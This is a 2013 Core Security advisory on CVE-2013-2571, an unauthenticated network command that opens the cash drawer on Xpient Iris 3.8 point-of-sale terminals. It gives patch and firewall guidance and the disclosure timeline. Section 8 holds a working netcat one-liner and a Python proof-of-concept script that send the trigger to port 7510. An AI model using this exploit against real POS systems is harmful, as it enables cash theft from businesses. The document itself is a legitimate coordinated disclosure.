Xpient Cash Drawer Operation Vulnerability

Advisory ID Internal
CORE-2013-0517

1. Advisory Information

Title: Xpient Cash Drawer Operation Vulnerability
Advisory ID: CORE-2013-0517
Advisory URL: http://www.coresecurity.com/advisories/xpient-cash-drawer-operation-vulnerability
Date published: 2013-06-05
Date of last update: 2013-06-05
Vendors contacted: XPIENT Solutions
Release mode: Coordinated release

2. Vulnerability Information

Class: Input validation error [CWE-20]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2571

3. Vulnerability Description

A security vulnerability was found in Xpient POS system running an instance of Iris 3.8 software [1]; the POS cash drawer could be remotely triggered to open if a malicious agent has access to the POS network and is allowed to send a crafted message to the POS terminal hosting the cash drawer. The malicious agent could be malware which operates from any device on the POS network or an unauthorized device connected to the physical POS network.

No Authentication or encryption layer is required to exploit this vulnerability. As a result, the cash drawer opens and its content is physically accessible.

4. Vulnerable Packages

  • Iris 3.8 build 1052.
  • Other versions are probably affected too, but they were not checked.

5. Non-Vulnerable Packages

  • Iris 3.8 build 1548 or higher.

6. Vendor Information, Solutions and Workarounds

Xpient notifies that this vulnerability has been corrected in IRIS v3.8 build 1548, notified their active customers of this concern and provided them with guidance. Security Bulletin XS130521, May 21st 2013.

Enabling a software firewall (e.g. Windows Firewall) on the POS Terminal to deny incoming traffic from reaching the cash drawer functions on the terminal will also prevent remote attacks.

For further information contact vendor via the official email address for product security inquiries which is: padss [at] xpient [dot] com.

7. Credits

This vulnerability was discovered and researched by Matthew Bergin from Core Security Technologies.

8. Technical Description / Proof of Concept Code

The analyzed POS system running an instance of Iris 3.8 build 1052 was found to be bound to several TCP ports. The services using these ports are proprietary to XPIENT and do not run OSS code. One TCP port (7510) was accessible without any authentication or layer of encryption required to execute code which triggered specific functionality. This was abused in order to send a specific command to the service which would in turn cause the cash drawer peripheral to unlock and open revealing the contents.

The command used consists of two integers separated with a single whitespace:

/bin/echo 1 1 || /bin/nc <POS-IP>: 7510

8.1. Proof of Concept

The following Python script can be used to exploit this vulnerability.

# # Description: xpient pos v3.8 cash drawer release (xpient-poc.py) # Author: Level @ CORE Security Technologies, CORE SDI Inc. # Email: [email protected] # CVE: CVE-2013-2571 # CORE ID: CORE-2013-0517 # Command: /bin/echo 1 1 | nc -vv <ip>:7510 # # The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs, # and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) # License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE. # import socket from sys import argv, exit from time import sleep def main(): if not len(argv) == 2: print "Error: Wrong arguments." print "Usage: xpient-poc.py <pos-ip>" exit(1) for i in xrange(0, 4): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((argv[1], 7510)) #trigger sock.send('1 1\n') sock.close() sleep(1) exit(0) if __name__ == "__main__": main()

9. Report Timeline

  • 2013-05-20: Core Security Technologies notifies the Xpient team of the vulnerability.
  • 2013-05-23: Vendor asks for additional information regarding this issue.
  • 2013-05-23: Core sends a draft advisory with technical details to Xpient team. Tentative publication date is set for Jun 18th, 2013.
  • 2013-05-24: Vendor requests to talk about the issue over the phone.
  • 2013-05-24: Core rejects this suggestion and asks for keeping all interactions tracked via e-mail.
  • 2013-05-31: Vendor notifies that they have recently become aware of this issue, developed a solution and notified their customers of this concern. Xpient sends the Security Bulletin XS130521 for reference and notifies that their Security Bulletins and patches are available to active users of Xpient software. Vendor requires to remove the Proof of Concept (PoC) and technical details from Core's report.
  • 2013-06-04: Core notifies that the advisory is re-scheduled for Jun 5th and will include the PoC since it gives the users a tool to assess the risks they are running and the effectiveness of possible countermeasures and workarounds.
  • 2013-06-05: Advisory CORE-2013-0517 is published.

10. References

[1] http://www.xpient.com

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use.

12. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. 

13. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.